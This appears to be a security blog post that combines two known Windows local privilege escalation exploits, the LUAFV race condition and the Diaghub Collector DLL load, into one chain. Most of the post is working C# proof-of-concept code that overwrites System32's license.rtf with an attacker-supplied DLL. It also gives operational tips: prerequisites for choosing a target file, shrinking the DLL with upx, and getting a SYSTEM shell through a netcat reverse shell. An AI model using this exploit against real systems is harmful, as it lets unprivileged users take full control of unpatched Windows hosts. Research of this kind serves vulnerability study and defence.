In this short post I will show you how  to combine Forshaw’s  Microsoft Windows 10 1809 – LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation with Forshaw’s Diaghub Collector exploit. 

The LUAFV exploit has been fixed recently and rumors are stating that the “core” part of the Diaghub collector exploit (the possibility for a standard user to load an arbitrary dll located in System32 from the Diaghub service) will be fixed in next release.

If you are interested (you should!) in the “deep internals” of these exploits I suggest you to read the docs I linked before.

So , quick&dirty, this is what I did:

  • created a very simple version of the Diaghub Collector exploit containing only the necessary code to create and  load a “fake” dll https://github.com/decoder-it/diaghub_exploit
  •  made some changes in Forshaw’s original POC (Program.cs) in order to overwrite the target file located in System32 with our “fake” dll:
using NtApiDotNet;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;

namespace PoC_LUAFV_PostReadWriteCallback_EoP
{
    class Program
    {
        public static string desfile;
        public string overwrite;
        static string CreateVirtualStoreFile(string target_path, byte[] data)
        {
            string base_path = target_path.Substring(target_path.IndexOf(':') + 2);
            string virtual_path = Path.Combine(
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
                "VirtualStore", base_path);
            Directory.CreateDirectory(Path.GetDirectoryName(virtual_path));
            File.WriteAllBytes(virtual_path, data);
            return virtual_path;
        }

        static void SetVirtualization(bool enable)
        {
            using (var token = NtToken.OpenProcessToken())
            {
                token.VirtualizationEnabled = enable;
            }
        }

        static byte[] GetDummyBuffer(int l)
        {
            byte[] ret = new byte[l + 100];
            for (int i = 0; i < l; ++i)
            {
                ret[i] = (byte)'A';
            }
            return ret;
        }

        static NtSection RemapFileAsRW(string destfile, int l)
        {
            string base_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "luafv_" + Guid.NewGuid());
            Console.WriteLine("Base Path: {0}", base_path);
            DirectorySecurity dir_sd = new DirectorySecurity();
            Directory.CreateDirectory(base_path);
            string target_path = NtFileUtils.DosFileNameToNt(Path.Combine(base_path, "dummy.txt"));
            //string license_file = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "license.rtf");
            Console.WriteLine("Trying to map {0} R/W", destfile);
            NtFile.CreateHardlink(NtFileUtils.DosFileNameToNt(destfile), target_path);
            using (var oplock_file = NtFile.Open(target_path, null, FileAccessRights.ReadAttributes, FileShareMode.All, FileOpenOptions.NonDirectoryFile))
            {
                var oplock = oplock_file.RequestOplockAsync(OplockLevelCache.Read | OplockLevelCache.Write, RequestOplockInputFlag.Request);
                Console.WriteLine("Started oplock");
                SetVirtualization(true);
                Console.WriteLine("Opening file");
                using (var file = NtFile.Open(target_path, null, FileAccessRights.GenericRead
                    | FileAccessRights.GenericWrite, FileShareMode.All,
                    FileOpenOptions.NonDirectoryFile | FileOpenOptions.CompleteIfOplocked))
                {
                    SetVirtualization(false);
                    Console.WriteLine("{0} {1}", NtProcess.Current.ProcessId, file.Handle.DangerousGetHandle());
                    Console.WriteLine("{0} {1}", file.FullPath, file.GrantedAccess);
                    CreateVirtualStoreFile(target_path, GetDummyBuffer(l));

                    var async_read = file.ReadAsync(1, 0);
                    if (!oplock.Wait(10000))
                    {
                        throw new Exception("Oplock Timed Out");
                    }
                    Console.WriteLine("Oplock Fired");
                    EaBuffer ea = new EaBuffer();
                    ea.AddEntry("Hello", new byte[16], EaBufferEntryFlags.None);
                    // Set EA to force the delayed virtualization to complete without triggering oplock.
                    Console.WriteLine("Setting EA");
                    file.SetEa(ea);
                    Console.WriteLine("File now {0}", file.FullPath);
                   
                    oplock_file.Close();
                    Console.WriteLine("Closed oplock_file");
                    if (!async_read.Wait(10000))
                    {
                        throw new Exception("Async Read Timed Out");
                    }
                    Console.WriteLine("Read Complete");
                    return NtSection.Create(null, SectionAccessRights.MaximumAllowed, null,
                        MemoryAllocationProtect.ReadWrite, SectionAttributes.Commit, file);
                }
            }
        }
        public static byte[] FileToByteArray(string fileName)
        {
            byte[] buff = null;
            FileStream fs = new FileStream(fileName,
                                           FileMode.Open,
                                           FileAccess.Read);
            BinaryReader br = new BinaryReader(fs);
            long numBytes = new FileInfo(fileName).Length;
            buff = br.ReadBytes((int)numBytes);
            return buff;
        }
        static void Main(string[] args)
        {
            string destfile = args[0];
            byte[] buffer = FileToByteArray(args[1]);

            try
            {
                var sect = RemapFileAsRW(destfile, buffer.Length);
                Console.WriteLine("Created Section");
                using (var map = sect.MapReadWrite())
                {
                    Console.WriteLine("Mapped Section {0}: {1} - 0x{2:X}", map.Protection, map.FullPath, map.DangerousGetHandle().ToInt64());
                    string str = Marshal.PtrToStringAnsi(map.DangerousGetHandle(), 16);
                    if (str == "AAAAAAAAAAAAAAAA")
                    {
                        Console.WriteLine("ERROR: Exploit failed, returned fake data");
                    }
                    else
                    {
                        Console.WriteLine("First 16 characters: {0}", Marshal.PtrToStringAnsi(map.DangerousGetHandle(), 16));


                        ulong i = 0;
                        for (i = 0; i < (ulong)buffer.Length; i++)
                            map.Write(i, buffer[i]);
                        Console.ReadLine();
                    }

                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
    }
}


 

The target file (c:\windows\system32\license.rtf) and the “fake” dll are passed as command line arguments.  The dll is stored in a byte array which will be used by the map.Write method in order to overwrite the target file.

There are some prerequisites:

  1. The file being opened is in one of a number of protected locations.
  2. The file can’t be owned by TrustedInstaller, but must have an ACE which grants the administrator full access.
  3. The file name must not have one of a number of banned extensions, such as .exe
  4. The caller must be denied one of a set of write accesses when opening the file
  5. The final “fake” dll size should not exceed the size of  the target file

Therefore “license.rtf” is the perfect candidate 😉

Size of “license.rtf” is 55713 bytes and probably the “fake” dll won’t fit if you compile it with the the VC runtime included. But no  worries, you can use upx to compress the dll !

If your Windows box (2016,2019,10) is not patched you should successfully overwrite the target file with your dll, launch the exploit (in my case the DLL runs a batch file with netcat reverse shell) and get a SYSTEM shell:

Capture.PNG

Enjoy your shell and obviously, try this only @home!

 

 

 

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s